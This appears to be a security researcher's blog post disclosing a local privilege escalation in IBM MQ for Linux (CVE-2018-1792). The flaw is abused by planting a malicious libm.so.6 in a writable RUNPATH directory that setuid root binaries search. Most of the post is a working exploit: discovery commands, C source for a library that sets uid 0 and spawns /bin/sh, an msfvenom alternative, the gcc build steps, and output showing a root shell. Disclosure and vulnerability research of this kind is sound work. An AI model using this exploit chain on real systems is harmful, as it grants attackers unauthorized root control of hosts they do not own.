Vulnerability Summary

IBM MQ for Linux and UNIX systems is vulnerable to a privilege escalation attack by forcing a setuid root binary to load a malicious library. A local attacker with access to the mqm account can execute arbitrary code as root. In October 2018 IBM published an advisory along with patches for several versions.

The goal of this post is to show how the RPATH/RUNPATH value could potentially be leveraged for privilege escalation. When specified at compile time this path is embedded in the binary and is the first path searched when searching for a library if the dependent library specified does contain a slash. Details on how this works can be found in the ld.so man page.

As with most file path type vulnerabilities, if you control the path, you may control the application in some way. In this case the mqm user is the owner of the directories listed in the RUNPATH.


Walkthrough

List setuid root applications.

[mqm@localhost]$ find /opt/mqm -perm -4000 -user root|xargs ls -l
-r-sr-x---. 1 root mqm 13384 Jul 9 07:09 /opt/mqm/bin/security/amqoamax
-r-sr-x---. 1 root mqm 13704 Jul 9 07:09 /opt/mqm/bin/security/amqoampx

Use readelf to read the dynamic section to extract the RPATH/RUNPATH.

[mqm@localhost ~]$ readelf -d /opt/mqm/bin/security/amqoamax |grep -e RPATH -e RUNPATH
0x000000000000001d (RUNPATH) Library runpath: [/opt/mqm/lib64:/opt/mqm/gskit8/lib64:/

Using my favorite utility strace, we can see the open() calls for libm.so.6 fails with ENOENT under /opt/mqm/lib64 and /opt/mqm/gskit8.  We’re using libm.so.6 for this PoC but other libraries can be used. The dependency is ultimately resolved at /usr/lib64/libm.so.6. This gets interesting because the mqm user owns the directories under /opt/mqm.

[mqm@localhost ~]$ strace -f /opt/mqm/bin/security/amqoamax 2>&1|grep libm.so
open("/opt/mqm/lib64/libm.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("/opt/mqm/gskit8/lib64/libm.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
open("/usr/lib64/libm.so.6", O_RDONLY|O_CLOEXEC) = 3

Here is what ltrace output looks like. Note the -S option is required to show system calls.

[mqm@localhost ~]$ ltrace -S -f /opt/mqm/bin/security/amqoamax 2>&1|grep libm.so.6
[pid 1627] open@SYS("/opt/mqm/lib64/libm.so.6", 524288, 036656000520) = -2
[pid 1627] open@SYS("/opt/mqm/gskit8/lib64/libm.so.6", 524288, 036656000520) = -2
[pid 1627] open@SYS("/lib64/libm.so.6", 524288, 036656000520) = 3

By default /opt/mqm/lib64 is owned by the mqm user but has permissions of 555 so mqm cannot write files there. Change the permissions to 755.

mqm@localhost ~]$ ls -ld /opt/mqm/lib64
dr-xr-xr-x. 3 mqm mqm 4096 Nov  9 22:04 /opt/mqm/lib64
[mqm@localhost ~]$ chmod 755 /opt/mqm/lib64
[mqm@localhost ~]$ ls -ld /opt/mqm/lib64
drwxr-xr-x. 3 mqm mqm 4096 Nov 9 22:04 /opt/mqm/lib64

Payload Creation

The goal is to create a malicious library named libm.so.6 to execute arbitrary code as root. For this PoC we will create a small C program to execute a shell. The full PoC can be found on my github page CVE-2018-1792.sh.

/* woot.c */
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

void woot(){
  setreuid(0,0);
  setregid(0,0);
  execl("/bin/sh","/bin/sh",NULL);
}

You can also generate a library with msfvenom. I generally avoid using msfvenom because it’s simple to use the above.

# msfvenom alternative
msfvenom -p linux/x64/exec \
         PrependSetgid=yes \
         PrependSetuid=yes \
         CMD=/bin/bash \
         -f elf-so \
         -o /opt/mqm/lib64/libm.so.6

Build the library libm.so.6 and store it in /opt/mqm/lib64.

[mqm@localhost lib64]$ gcc -fPIC -o woot.o -Wall -c woot.c
[mqm@localhost lib64]$ gcc -Wall -shared \
                           -Wl,-soname,libm.so.6 \
                           -Wl,-init,woot \
                           -o /opt/mqm/lib64/libm.so.6 woot.o

Execute /opt/mqm/bin/security/amqoamax or /opt/mqm/bin/security/amqoampx to obtain a root shell.

[mqm@localhost ~]$ id
uid=996(mqm) gid=1005(mqm) groups=1005(mqm)
[mqm@localhost ~]$ /opt/mqm/bin/security/amqoamax
sh-4.2# id
uid=0(woot) gid=0(woot) groups=0(woot),1005(mqm)
sh-4.2#

References

Recommended Reading

Conclusion

When hunting for vulnerabilities in privileged binaries on UNIX/Linux systems always check the RPATH/RUNPATH value. If there is a path that is writable it can be leveraged to escalate privileges.